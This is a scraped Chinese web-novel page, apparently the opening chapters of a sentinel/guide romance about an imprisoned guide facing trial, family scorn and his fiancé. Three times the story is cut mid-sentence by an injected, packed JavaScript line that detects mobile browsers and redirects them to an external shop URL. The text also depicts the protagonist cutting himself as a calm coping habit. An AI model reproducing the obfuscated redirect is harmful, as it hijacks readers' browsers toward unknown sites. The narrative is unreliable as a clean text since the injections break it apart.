《渣攻停止雨中追妻》 1. 提雨 “三天后的审判日,你有申辩机会。” 监狱外大雪纷飞,室内无线电传来虚弱而冰凉的语调,简短而收敛,“那之后,我在家里等你。” 无线电那一头很快挂断,没有给出任何回复的时间,只剩雪落声。 莫提雨靠在监狱的墙边,闭着眼睛,似乎没有听见,仿佛刚刚对话的那头并不是相伴多年的恋人,而是一个陌生人。 他入狱已经半年,头发有些长了,极黑的头发,极长的睫毛,极苍白的面容。呼吸弥漫水雾,似乎有雪在他睫上冻结。 狱警在外彷徨了一下,以为他睡着了,刚上前一步,却见到莫提雨倏然睁开了眼睛,淡灰色的一双眼望过来,惊得人心一跳。 “您醒着啊。”狱警放了心,靠墙放松着身体,眼睛还是盯着头版不放,“我来送报纸。都是新鲜的。据说您三天后就能出去了,是真的吗?” “哗啦”一声,狱警展平报纸,斗大的字映入眼帘: 【杀害变异向导的恶魔莫提雨或将被释放,疑似由白慕予倾尽身家担保,他能不能得到公众原谅?】 【莫提雨仍陷军部大案中,众叛亲离,三天后最终审判!】 狱警站直身体,把报纸从栏杆中递给他:“您放心吧,我看外界说,是十拿九稳的事。您的家族最终还是会保您的。等您官复原职……请一定别忘了我们这些干小活的,我们对您是很尊敬的……您明白吧?” 莫提雨接过报纸,唇边一抹淡笑,瘦削苍白的手翻飞,随意递出一沓现钞。 狱警满面笑容地收下,随后颇为识趣地离开了。 这里是政治监狱,在关着的这么多名门望族、世家人物中,莫提雨是最特殊的那一个。 他不同于那些家族拿来顶罪的二世祖,他是曾在军队核心的人物,而且眼看着可以复起。所有人都清楚他的价值。 另一个特殊之处就更加私人了。他也贿赂狱警,不过他找狱警要的东西不是致|幻|剂、俊男美女或者按摩服务。 莫提雨从来只要报纸,什么版面都看,看完后一张一张整齐叠好,铅灰色的纸张散发着刺鼻的油墨味道。 这半年来已经发生了许多事,不过—— 系统21上线了,它说:“你的私事还是大众最关心的。除了公事,有关你的家人,你悔过了吗?” 莫提雨眼睛微弯:“悔过什么?” “问出这个问题说明你冥顽不灵。”系统21翻着记录,说,“你是标准的需要火葬场的渣攻。从小你爹不疼,娘不爱,只有你的从小的联姻对象白慕予陪伴你,治愈你。他什么都好……只可惜父母双亡,还遇到了你。” “本来是童话一般的故事,但生活不是童话,对吗?他陪伴你长大,你不仅没尽到照顾他的责任,还逐渐地变了。随着你的平步青云,你对他的态度越来越冷淡,甚至不愿意在媒体面前敷衍一下。他似乎就那样被你抛下了,所有的爱都像梦幻泡影一样消失了。” “你们两家都是一流名门,出生就活在镁光灯下,你清楚你的一言一行会带来多少影响。于公于私,你都是千秋罪人,现在,离你的忏悔和申辩还有三天。” “作为教科书级别的渣攻,你应该彻底认罪、赎罪,回到你翻手为云覆手为雨的位置,并用更多行动挽回他的心!目前你的追妻进度是50%,只有所有人满意,你才有翻身的机会。” 莫提雨没有为自己辩解,他只是垂下眼,指尖拂过报纸版面,随后用力,本就苍白的皮肤又泛起白痕。 绯岸塔的报纸都开设评论专区,头版旁边跟着的就是热门评论。 “这种人渣还能被放出来?杀害同为向导的敌人,抛弃未婚夫,灭绝人性,这种人应该被活剐了,我要看他死无葬身之地!” “莫提雨母亲声称心疼白慕予,已和莫提雨断绝关系,这种人令莫家蒙羞!这种吸血鬼应该去死!” “莫提雨还想出来?他怎么配活着,怎么敢把绯岸塔最危险最关键的防御事务给他?想让我们一起给少爷陪葬吗?” “听说白慕予废了前途来保他……真的吗?太圣母了吧,这种人还保什么?” 报纸上此类评论已经算得上温和。 这半年莫提雨三个字永远是热点,毕竟莫提雨即将出狱,他和白慕予的名门狗血也该有个结果了。 * 白慕予家很特殊,白家算得上是书香门第,一直颇受敬重,到了白慕予这一代,虽然有点衰败迹象,但勉强还能撑住。 白慕予是向导,精神力不是顶尖。两个向导自然没有任何适配度,但没有人能怪罪白慕予。白氏夫妇死于车祸,后座五岁的白慕予亲眼目睹了那一切,自然再受重创。 从那时候起,心疼无比的莫母就把白慕予接回家抚养,“比亲生孩子还亲”并不是玩笑话。这特殊的双向导配置极早就引发了全社会的关注。 莫提雨的人生轨迹,几乎就是为保护白慕予存在的,白慕予开心,他方有资格开心,白慕予落泪,莫提雨就没有呼吸的资格,每一次哄完白慕予,白慕予终于肯展露笑颜,所有人才会放心点头,欣慰地原谅他。 哄的价格一次比一次高,小时候的一次维护,如今换成珠宝、满园玫瑰或是天边月亮也不尽人意。 当然,莫提雨已经不再有捧回月亮的能力。他的精神力已经远不如半年前稳定,无法燃烧精神力,为心上人造出任何美景。 实际上,是彻底不再使用精神力。 按系统21的观察,莫提雨入狱后就不再使用精神力,它从未瞥见传闻中那种惊人的、足以将所有人带往幸福的向导能力,那似乎已经是遥远的传说。 晚八点,离审判日五十个小时。 临近冬至,黑夜渐极。 漫天大雪,路灯昏黄的光变得更模糊,这是监狱的熄灯时间,但很明显,这里有人不会按时入睡。 来自军部的车辆秘密行事,车牌均做了遮挡,来人前呼后拥,帽檐拉到最低,形色匆匆,好像出现在这里是一件极其丢脸的事。 “他不一定愿意帮我们。长官。”一位士兵低声说道,“上次我们来找他帮忙,被媒体拍到了,幸亏摆平了那几个记者才没走漏风声……” “我知道。”说话的长官又压了压帽檐,语气变得有点焦躁,“他怎么会不帮我?这可是他原本的作战小队,我和他认识多少年了,我在代他做事!我会为他作证!我这个节骨眼还来看他,就说明我对他好,他不可能不帮我!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179517|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾浪,曾与莫提雨一起在绯岸军事学院进修,从小到大的兄弟。 莫提雨出事后,原本的位置被所有眼睛盯着,他的作战人员全部原地重组,部门换了一个新的名字,叫做“重大危险处理部”,由顾浪接手。 但很快他们就发现,莫提雨平时处理的,都是极端危险棘手的情况。 莫提雨素日交手的对象,甚至是一同出身于绯岸军事学院、活跃在战场的顶级哨兵,评定等级是SS+,而且危险程度还在逐级增加。 顾浪走入室内。 莫提雨醒着,他坐在一个破旧的灰色沙发中,正低头翻着陈旧的报纸页,乌黑的发丝,垂落,显得肌肤更苍白。 他的声音淡淡的:“你来了。” 顾浪咽了咽口水,说:“你……我……我上次来找你,确实没料到会出那样的事。” 莫提雨的视线没有离开报纸,淡灰色的眸子如水平常:“嗯。已经没事了。” 媒体拍到他的车队进入了莫提雨的监狱探监,虽然顾浪买通了记者,没让舆论波及自己,但报社是不愿意扔掉任何热度的,顾浪和记者谈判的结果是,记者改了个写法发了出来,效果更好了——“莫提雨狱中仍受优待,外来车辆日夜殷勤送物资”。 不出意料,这篇报道一经发布,舆论直接疯了——杀害过同类,世界上最该死的向导竟然还活得有滋有味,接下来竟然有向导买通了监狱转运车的司机,潜入监狱里亲自捅了莫提雨一刀。 莫提雨伤在肋骨,没能死成。但这个消息还是大快人心——只要他痛了,他流血了,就让人觉得痛快至极。 “那么,今天是有什么事吗?”莫提雨看了看表。这枚表也是他在狱中得到的优待之一。 见他没有再提上次的事,顾浪也松了口气,恢复了从小到大的哥们语气:“找不到霁泠的下落。” “人还是舰队信号?” “都是。”顾浪显得更加焦虑了,“就在昨天,他的信息被我们捕捉到一次,然后消失了。” “没人敢说他现在在哪里,霁泠的手段我们没法应付,我们从没见过那么强的哨兵,提雨,你帮帮我们。如果不能再保证我们的海上防御有效,我真得去死了。” 莫提雨将报纸合上,展平放好,随后指了指自己的眼睛,闲聊似的说:“你知道我的情况。” 这个动作让过于宽大的袖子回落了一点,露出瘦削苍白的腕骨。 莫提雨那双淡色的灰眼睛像是失去了光泽的宝石,安静纯粹,看久了有点令人眩晕,又令人疑心是错觉。 这种颜色是受精神力波及的结果,这种结果本身就说明着主人的强大。 顾浪赶紧说:“我知道,你身体状况不好,信息传输需要时间——三天,三天可以吗?提雨,三天内找不出坐标我就完了。” 莫提雨勾起唇,笑意再度浮现:“三天后我恐怕有些忙。” 顾浪愣了一下,意识到他在说什么之后,很快做出了反应:“审判日嘛,我会为你作证的。你当时做的事,说的话,绝不是那个意思,公众对你有误解,不是什么大事。” “你对公众道个歉服个软,诚心悔过你做的那些事,什么都会过去的,一切都和从前一样。” 2. 落雪 顾浪认为这就是理所应当的事。 莫提雨的人生里,一切从来都唾手可得,他从没见过这么顺利的人生,世人疯狂追逐的一切:天赋,容貌,地位,关注,伴侣……只有莫提雨不想要的,没有他需要费心取得的。 哪怕现在因为战时行为而受调查入狱,声名狼藉,但明眼人都清楚莫提雨的解法会多么简单:公众面前回个头。如此而已。 莫提雨没有回答他的话,只有淡色的唇角礼节性地勾起。 顾浪清楚这是他不想继续被打扰的状态,于是赶紧带人离开了,临别前仍然满含期待。 监狱的房间摆满了顾浪派人送来的资料——特殊处理后的磁带,气味样本,海量的、以帧为单位出现的影像。 两大箱数据分析和调查报告已经说明了军部的束手无策。 系统21观察到,莫提雨并未立刻处理这些信息。 他甚至没有给那些标记着绝密的调查报告更多的关注,只是用干净的布简单擦拭飞进室内的雪。 他的房间极干净,简约到有些冷,令人想起他的那些传闻,比如一直为人诟病的,他的对外表现并没有向导的柔和,公共发言时也缺乏“给予公众支持性的温暖”,带领的部队中哨兵竟然占据了80%的职位。 种种迹象都已经被翻出来证明,他早已背叛了身为向导的立场——他简直像个不会共情的哨兵。 “审判日前,你要想好你的发言。到时候所有的记者,电视台都会来,你的家人也会来,他们都非常为你忧虑。”系统21说,“尽量安稳地度过这三天吧。” 事实上,所有人都在忧虑,除了莫提雨本人。 他看起来和平时一样闲适,也和平常一样,并不回应系统21的任何话语。 “他平常就这样沉默吗?” 门口稍远的地方,顾浪留下的两个士兵窃窃私语着。他们都是普通战士,并不理解莫提雨的情况,他们商量着怎么能快点让莫提雨给出分析数据。 “你以前见过他吗?” “我没在他手下服役过,但是听过……听过一些。我不能确定……” 因为过去的莫提雨和现在的差别太大了。大得几乎不像一个人。士兵也在怀疑那些奇幻的传奇是否为真。 这些声音很快也远去了。 莫提雨重新闭上眼,任由自己陷入深眠。外边只有细碎的落雪声。 清晨六点。 “您还好吗?现在感觉怎么样?” 眼前映入的是监狱医生皱着眉的脸,身后跟着一堆表情紧张肃穆的人。 医生还在观察莫提雨灰色的瞳孔:“是旧伤,精神力受创的痕迹,又蔓延到现实了。” 莫提雨从床上坐起,察觉自己的手腕已经被绷带裹住,一道细长的伤口出现在他消瘦的胳膊上,是昨夜的新伤。 他身上的伤痕并不少,已经分不出哪些是战场的伤痕,哪些是精神力导致的。 医生熟练地询问情况,以显得自己上心:“是做了噩梦,在梦中再次受创吗?您需要专业的向导介入治疗,精神力的创伤需要共情治愈……” 话说到一半,医生也语塞了,世界上没有比莫提雨更强大的向导了。 而且以现在的情况,也不会有向导愿意给他治疗:他们都怕上次的刺伤事件再发生一次。 莫提雨的碎发凌乱地垂落,浅灰的眼睛看起来只有从睡梦醒来的倦意:“没有关系,我能控制。” 这双眼睛看久了,那种令人眩晕的感觉又来了。其他人也不敢多看,医生很显然见过许多次这种情况,只回头低声对那两个士兵说:“……他一直是这样的,但他的精神力等级很高,不会出问题,他只是经常睡着后受伤,而且从不主动治疗。” “一直以来没有出过问题,放心吧。” 莫提雨的睡眠质量并不好,他看了看面前的人们,又想闭上眼睛的时候,被那两位士兵拦住了:“您的身体情况现在很危险,请您醒来走走吧。” 莫提雨灰色的眼睛望了望他们,笑意忽而重新浮现:“好吧。” 他换下染了血的衣衫,挑了一件干净的衬衣,袖口卷到手肘,瘦削的线条更加清晰。 “我出去走走。可以吗?” 莫提雨问那两个士兵,声音很轻,好像怕吓到他们似的。 事实上这两个士兵除了传话和监视以外,在这里并不拥有任何权力,他们赶紧让出一条路,让莫提雨有功夫和狱警闲聊几句。 狱警一早就听见动静,他掏出钥匙开外侧的门,又殷勤递来今天的报纸:“外边还下雪呢,转一圈就好,不然太冷了。这些是今天的,送过来还热乎呢。” 莫提雨接过来,并没有立刻看,而是把报纸卷随手放在走廊边,自己向庭院走去。 这是监狱里的放风场所,据说从前是一个体育场,种了一些树和灌木丛,有些时候狱警会在这里放点电影,不过没什么犯人会来看。 现在雪已经覆满了地面,天还黑着,灯光黯淡,只有一些灰黄的色彩。 莫提雨只穿了一件衬衣,呼吸着寒凉的空气,好像寒冷才是他需要的氧气一样。 停了一会儿,他好像才感觉到冷,缩了缩脖子,往回走了几步。 这个时候大部分人都已经醒了,对面的楼里传来隐约的迪斯科舞曲,一些人稀稀拉拉地从远处走过。 “那个莫提雨,命真好啊……”他身后的走廊里,有人一起走过,拉长声音讨论着,“他能出去已经是板上钉钉了。” “不过我挺好奇的,他出去了能好过?保他的人得绞尽脑汁了吧。一瓶香槟,我赌这事没完。上周我家给我送来的酒,该死的让那个看门的贪了一瓶。” 议论的人拐一个弯,看到莫提雨,很快噤声了。莫提雨倒是没什么表示,淡灰色的眼睛反射着廊下的灯光。 想莫提雨死的人很多,想莫提雨活的人也很多。 系统21一语成谶,审判日前,莫提雨的日子也并不会更太平。 就在莫提雨看雪的时候,第二批人找上了门。 这次不是军部的车队,而是颜色低调、价格却并不低调的豪车,雍容华贵的中年女人从车上下来,神情紧绷,似乎做出了极大的牺牲。 她身边跟着一个学者般的男子,保镖们先开路,确定周围没有媒体之后,才跟着女人一起目不斜视走入了监狱大门。 “您母亲来探视了,她说希望和您见一面。”很快有人前来报告消息。 “啊,周二是探视日啊。” 莫提雨听见这个消息,神色倒是显得有些意外,他看着落雪,轻描淡写地说,“我都快忘了。” * 莫提雨的家人每周有一次探视权利,但从没有人来过。来过的,基本只有模糊的口信或者口吻冰冷的电话。这种态度已经说明了他们对莫提雨的失望。 “慕予给你打电话,你为什么不跟他多说几句?” 莫母带着辩护律师出现在房间里,她紧紧地盯着莫提雨,目光审视,眉头也没有舒展的意思。 莫提雨仍松散地坐在他的沙发上,用干净的布擦拭着一个咖啡罐子。 即使久别,他的话也并不多。 他淡灰色的眼睛平静地看过来时,莫母就已经出离愤怒了,感性的怒火压倒了她,她抬高了声音:“一句关心很难?还是对他好好说话很难?慕予身体不好,又一个人顶着那么大的压力等你,你这样简直是个冷血的怪物,你还算人吗?” 话音在空荡荡的监狱里回荡,辩护律师及时地打断了这场怒火:“女士,说正题吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179518|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫提雨浅灰的眼眸没有丝毫变化,就像一个看着剧场演出的,安静的观众。 莫母冷笑一声:“外面说的一点没错。向导的共情一点没有,这种冷暴力的样子却学了十成十。” 律师看了莫提雨一眼,也摇摇头:“莫上校,我们是来帮您的。经过我们的努力,你有了审判机会,到时候可能有的一些问题,我们希望您能提前了解。对于你的案情情况,我们也希望你能如实告诉我们。” 莫提雨瞥了律师一眼,随后开口说:“好啊。” 律师深吸一口气,翻了一下手里的文件:“首先是你的被捕原因。你在对畸变哨兵的一次作战中违反了最新的军规,即对于变异的向导,必须带回塔内安置并施救。但你非但不这么做,却下令歼灭了你辖区的所有变异者队伍,那都是活生生、血淋淋的人命,而且是你的同类。你有没有什么想说的?” 莫提雨看着他,淡灰色的眼睛里好像有什么魔力,似乎能把人心剖开。 律师下意识地咽了咽口水,重复了一遍:“有、有没有什么想说的?” 莫提雨的视线移向别处,口吻听起来冷淡:“因为那些人已经无药可救。” ——半年,前线。 风是黑色的,精神乱流撞碎层岩呼啸而来,一处被围困的岛屿上,是前线人员的累累骸骨。 这是变异向导曾经的聚集所,按大众的想象,其威胁程度应该远低于破坏性更大的变异哨兵,但莫提雨的队伍在搜救时仅发现一个还活着的前线士兵,而且是个刚毕业的孩子。 “长官,我的朋友还在里面,很好认的,你找找他。特别好认的向导,穿夹克和飞行员眼镜,他喜欢飞翔的感觉,他还有三个月就能拿到精神力证书了,我是他带出来的,你找找……” 哨兵似哭似笑,一直被嘴里的血呛住,他的精神力已经被生生打碎——不见过地狱,不见到一切都绝望的人的精神力是不会被打碎的,也就是说,现在他说的话也已经变成梦呓。他极有可能已经目睹了挚友的死亡,甚至是被虐|杀。 “我把他带回来给你。”莫提雨伸出手,浅灰色的眸子认真看着他,让哨兵感受到,这是一个承诺,这个承诺比任何治疗都能够安抚灵魂,“死会是变异者能付出的最低代价。” 哨兵将自己的信息分享给他,莫提雨瞬间接受。 他共情一切,过去、现在和未来都在精神图景中清晰呈现。 他们的士兵都被极其残忍地杀害了,士兵们精神图景中那些细微平凡的希望、爱和想念,都在这片土地上被剥夺,被打碎了。 残存的情绪信息仍然混杂着敌方的极端兴奋,变异者彻底丧失了人性,这种残杀和迫害永不会终止。 这一切都和军部盛传的“变异者无害,可以谈判”论调矛盾,作为指挥官,莫提雨必须第一时间做出判断。 莫提雨下达命令:对于敌人,全部、不留后患的就地歼灭。 离岸前他是万众期待的向导之星,而当他带着解救的人质回到岸上,抬头看向淡青色的天边时,这双浅灰色的眼睛,已经看见黑云降临。 “您没有别的要说了吗?” 律师极力暗示莫提雨主动反省脱罪,“您可以好好想想,变异向导也是人,他们只是误入歧途,我们应该宽容,主动接纳他们……向导生存本就不易,或许正是被迫共情的负担让他们变坏的,他们应该得到理解。” “又或者,你并没有下达歼灭命令,只是你的士兵在执行时出现了问题……”律师微笑着循循善诱,“你并没有背叛自己的同类,一切都是误会。” 莫提雨将擦得干干净净的咖啡罐放回原处,动作轻得像一场落雪。 他浅灰色的眼睛里并无一丝笑意。 “我没有要说的。” 3. 白 莫提雨淡色的眼眸和靠在沙发上的姿势已经说明,他不打算继续这个话题。 第一宗罪暂时搁置,接下来是第二宗罪。 律师的目光往下,表情复杂地说:“你和白慕予。你有没有什么想说的?” 这件事对莫提雨的实质性影响程度,甚至远远大于军部的案情,超过任何人的想象。 莫提雨和白慕予两人的婚约始于父母之约,媒妁之言。两个向导的组合,没有比这更让人觉得温暖的配置。 莫提雨进入军部之后,白慕予也从绯岸塔的学院毕业,虽然能力评级不足以进入军部,但也很快发挥了向导细腻共情的特点,好好地利用了自己的公众影响力,将自己的个人节目做了起来。 白慕予的“予你心声”谈心播客通常在深夜推送,聆听观众的倾诉,安静地陪伴,理性地分析。 大部分在深夜前来絮语的都是普通人,大家在同一个频率聊着情感故事、爱恨情仇,不论什么话题,不论来自何方,一切的一切都能被白慕予好好地接住。 在舆论影响力上,白慕予就是国民级的。出身上流,伴侣优秀,为人独立……数不清的美好组成了白慕予这个人,白慕予所到之处,都是喜爱、向往与崇拜。他和莫提雨的搭配更是人人称羡。 只不过,大众也慢慢发现,两个人近年的见面越来越少,记者也很少拍到莫提雨主动出现,似乎是有意疏远,有关他们感情状况的猜测层出不穷。而彻底引爆舆论的是白慕予半年前的一次自我反思,一次喝醉后的心声吐露。 白慕予说:“他以前不是这样的。” 白慕予轻轻苦笑,声音柔软:“那时候我发着高烧,还是飞了一千公里去见他……他逃课陪我散步,一整晚都在听我说话。那时候的他,眼里只有我。” “其实我已经很久没见到他了。上次感冒我在家里发烧到晕倒,其实这没什么,就是我也会想,好像我想要的生活不是这样。” “现在想想,可能是我太贪心了?毕竟人总是会变的。” “虽然有很多人喜欢我,但其实我一直是不自信的。我身体很差劲,而且没有爸爸妈妈了,对我来说,他就是世界上最好最好的人,我唯一的家。其实我不该难过的,他那么忙,我早该习惯……虽然大家都说我理性独立,只是有时候我也会想,如果连他都不再需要我……那我还能是谁呢?” …… 寥寥几字却如一枚核弹,在舆论中掀起一场风暴,它血淋淋地撕开了一场公认的爱情童话,也撕开了大众对莫提雨的认知:温柔,可靠,优秀的白慕予的伴侣,竟然是这样一个伪君子,负心人! 所有的细节都被翻出来:有几次,白慕予低笑着、害羞着透露自己尝试做菜,尝试了好几次,甚至烫伤了手指,但莫提雨不喜欢。 莫提雨工作很忙,有时候深夜还要处理电话,白慕予就不眠不休地陪着他,时刻给他准备热牛奶,即便自己第二天还要上播……但莫提雨也不喜欢。 不被喜欢就是白慕予唯一做错的事,而莫提雨还能再享受了白慕予付出的一切之后无声远离,甚至从未给观众一个交代! 这场愤怒的波涛迅速席卷了所有人,莫提雨的生活出行全部受到影响,军部甚至也要他考虑“暂时休息以处理私事”。 人们希望莫提雨死,甚至已经是最轻的祝福。 莫提雨换了个姿势靠着沙发,淡色的眼睛似乎浮起回忆。 ——从前。 “你去哪里了?”白慕予轻轻地问。 莫提雨说:“紧急任务。”他的声音里带着淡淡的疲惫:“我的解析器,你拿走了?” 白慕予看见他的表情,温柔的神色中出现一丝脆弱无措:“我想的是你在家休息……我不想你太辛苦,医生不是说太频繁的解析信息会让你过载吗?所以,你休息时,我把它放好了。我不想你被更多事打扰。” 解析器用于在复杂任务中帮向导过滤杂音,这件事导致了莫提雨出紧急任务时不得不再次超频使用共情能力,所幸没有出现更严重的问题。 看见他的神情,白慕予什么都明白了,他的眼神变得无比自责,声音也有些颤抖:“对……对不起,我也不知道你会有紧急任务,我什么都做不好,是我的错……” 莫提雨没说什么,上楼去处理自己的创口,将一切声音关在门外。 那时候他的精神力受创的痕迹就已经出现,医生的叮嘱也是真的,共情过载会导致久治不愈的、反反复复的隐伤。 楼下,莫母赶来,看见白慕予落泪,眼睛都已经哭红。 “我做错事了。我想帮他的,但是他生气了。” “我已经道歉了,但是他……他的表情很可怕,我第一次看到他露出那种表情。伯母,我该怎么办?” …… 莫母弄清前因后果后,立刻对莫提雨劈头盖脸的骂:“是,你高级指挥官,莫上校。这不是没什么事吗?慕予也是为你好,你有必要露出这么刻薄的表情吗?他身体本来就不好,你还给他难受,你是不是存心不想让他好过?” “去道歉,快去哄他。”莫母神情严肃,认为这就是比一切都重要的事,“他从小就失去了爸爸妈妈,不比你过得舒服。如果你不向着他,那他还能依靠谁?” 莫父听闻此事之后,更是雷霆震怒,恨不得当场飞过来揍莫提雨一顿。 …… 解析器是最小的事。衣、食、住、行,生活的每一方寸都充满了白慕予 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179519|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔又哀伤的眼神。衣服要穿白慕予挑选的颜色,如果是别的颜色,白慕予会温柔地问他是不是不喜欢,随后更细致、更费神地去找,飞到国外去定制衬衣,哪怕因为长时间的飞行而反复病倒。 “慕予有自己的工作,可他一直为你付出,你还不领情。你好好想想。” “你不要喝咖啡了,我真的担心你的身体。”白慕予出现在门口,担心地看着他,手里是一杯温水,“上次你胃疼,我和妈妈都吓了一跳。” 咖啡从家里消失了,连作战室的咖啡都消失了。白慕予第二天就提着道歉礼物,挨个拜访了莫提雨的小队成员:“拜托大家帮忙看一看,一定不要让他喝咖啡和酒了,对他的身体很不好……真是给你们添麻烦了。” 莫提雨喜欢的东西:咖啡,画画,暗色和深色,星空下一个人的散步,办公室外墙头的刀疤眼猫咪,摇滚CD……一切都被禁止,一切都会伤害白慕予为他付出的感情。 白慕予甘愿莫提雨成为为他温柔臣服的伴侣,莫家父母也乐于见到。 小时候白慕予第一次被领进家门,因为莫提雨总是单独出门,所以一个人在家郁郁不开心,日渐消瘦。 因为这件事,莫提雨挨了一顿打,莫父严厉训斥莫提雨不关心小弟弟,莫母默默垂泪,让他给白慕予态度好好地道歉。 莫提雨并不肯道歉。小时候的他比驴还倔,睁着一双灰色的眼,冷冷的,死也不开口,结果就是直接被关了禁闭。 直到白慕予替他求了情,小心翼翼地、主动来找他。 “没关系的。”白慕予递来一张洁白的手帕,手帕里藏着一颗甜甜的糖。 白慕予看着他的一身伤,惊讶又柔软地笑着,“我陪着你。你和我想的……很像,一模一样。” ——事到如今,一切都不再是当初的想象。 莫提雨的确在更疏离家庭,疏离白慕予,更忙于军务。但很显然,战事还没有紧张到让他三过家门而不入的程度,这说明莫提雨的心已经彻底地变了。 失望,来自父母的失望,公众的失望,最重要的,白慕予的失望,一切梦幻都化作泡影,而且罪魁祸首毫无疑问,只有莫提雨一人。 “对于这件事。” “我也没有要说的。” 莫提雨注视着律师,慢慢地说道,浅灰色的眼睛格外平静。 莫母拍案而起,再次被拦住——会面时间已经快到了,剩下的话题必须由律师把控。 律师露出为难的表情:“我们诚心想帮助您,希望您能够迷途知返……但是很显然,您并不配合。” “如果您一直是这样的态度,我想审判结果会对您不利。而且会是非常坏的结果。希望您三思而后行。” 4. 合照 时间已经到了,狱警打开了门。 律师和莫母的神情都有些难看,走远后依然能听见他们的深深的叹息。 狱警看了看莫提雨,又看了看门外,不确定道:“看来你们聊得不是很开心。” 莫提雨安静地说:“没什么。一向如此。” 五岁的莫提雨和十五岁、二十五岁的莫提雨听见的话并无不同,所经历的也都是有迹可循的结论的延续。 缄默就是他对一切的回答,因为缄默是唯一的解决手段。 今天的报纸还放在外边的雪里,两个士兵把它送了回来,但莫提雨看雪和看报纸的兴趣似乎都迅速地消失了,和律师和母亲对话飞快地耗竭了他的精力。 他靠在沙发上假寐,室内静得再次只剩下雪落声。 他的呼吸很安静,所有的力气全部卸除,有时候一晃眼看过去,会觉得他好像已经像薄薄的冰一样冻结。 士兵很担心他再次睡过去——这两个士兵都还没见过精神力创伤后遗症这么强烈的向导,昨夜莫提雨陡然出现的伤已经让他们心有余悸。 他们疑心莫提雨又睡了过去,两个士兵对视一眼,最终年纪更小一点的士兵鼓起勇气,正准备走近的时候,莫提雨那双浅灰色的眼睛就已经睁开。 里面的倦意夹带着几分冷淡,似乎他的一半还留在梦中。 但莫提雨开口了,他的声音是清楚的:“放心,不会出问题。” 随着他这句话,长长的伤痕再次出现在他苍白消瘦的手臂上,仿佛什么蔓延的植物,绕过已有的疤痕,停止在手腕前。鲜红的血又浸透了早上缠好的绷带。 莫提雨的眼睛又闭上了,这次不是因为困倦,而是因为疼痛。 ——再次过载,这次是清醒状态。 向导高强度、高深度共情后出现的持续性闪回,以至于出现了类似哨兵的过载。 但和哨兵不同的是,哨兵的信息过载可以靠向导疏导和白噪音安抚,但向导过载缺乏合适的手段,即便叫来另一个向导也于事无补,因为向导本身最清楚自己的状况。 莫提雨共情过载的表现并不明显,除了伤口是最直接的结果,表现一般是极 度的颤抖、畏寒和肌肤饥渴,和噩梦造成的创伤一样,他自己控制。 畏寒就多穿一件外套,肌肤饥渴就划破自己的肌肤,疼痛感会压过一切附骨之疽一般的瘾症,他和疼痛相处得很好。 过了一会儿,莫提雨又睁开眼睛,此时他眼眸的颜色深了一些,变得更冷。 他抬起手,认认真真地将手上的绷带重新卷了一下。虽然非常吃力,但仍然慢慢地缠好了。 他的状态的确比刚刚好了一些,至少这次他终于对报纸产生了兴趣。 今天报纸的头版仍是对他即将出狱的报道,还有相关人员的采访。 “目前的重大危机处理部部长顾浪表示,军部绝对没有‘莫提雨不在很多事无法推进’的问题,莫提雨出狱背后并无军部人员支持。” “我们仍然坚持一个观点:军部的任何人在成为一个战士之前,首先要是一个品行端正的人。我们不会因为任何事有所偏私,像莫提雨这样有重大罪行,而且性情残酷的人,就需要得到应有的惩罚。” 连莫提雨的父亲也出来道了歉,这位在执行部办公室举足轻重的长辈也不再沉默,他反思着自己的教育:“是我没教好这个孩子,他从小性格冷倔,冥顽不灵,我们虽然管教了,但没有起到作用。这对于我们莫家来说是奇耻大辱,不原谅他是对的。就是苦了白家的孩子。” “如果他还被允许有改过的机会,那么我希望他能改头换面,彻底醒来。” ——冥顽不灵。 剧烈的耳鸣将他席卷回那个夏天。 “冥顽不灵!你是向导,你根本不配喊累喊疼,加大训练强度!” 年幼的莫提雨浸在冰凉的水中,进行着一次又一次精神力极限训练。 百分之百甚至百分之三百的共情,会让向导数倍复刻真实的疼痛,精神力在身上蔓延的创口已经撕裂,血将刺骨的水池变成淡淡的粉色。 倒计时一遍又一遍轮回。他灰色的眼睛费力盯着猩红刺眼的屏幕,没有别的表情,只是心想,训练结束就去摸摸那只学校里的猫。 一只胖胖的,懒洋洋的三花猫,他和它关系在上一次见面变得有些紧张,因为他不小心踩飞了它的饭盆。 这只猫为他的精神力极限训练中贡献了最大的能量,虽然莫父将这个结果归功于他在训练中一次又一次的严苛加码,而且之后还对军部内部刊物进行了投稿,大肆宣扬了一番。 莫提雨的精神力评定等级出来的当晚,他就去学校摸猫了,给胖三花带了自制的鲜鸡肉汤,随后在草坪上躺到深夜。 直到白慕予给他打电话,说他很害怕他着凉,要出来顶着寒风一起等他。他于是拍拍身上的灰尘,和小猫好好道了别。 这是十五岁的往事之一。 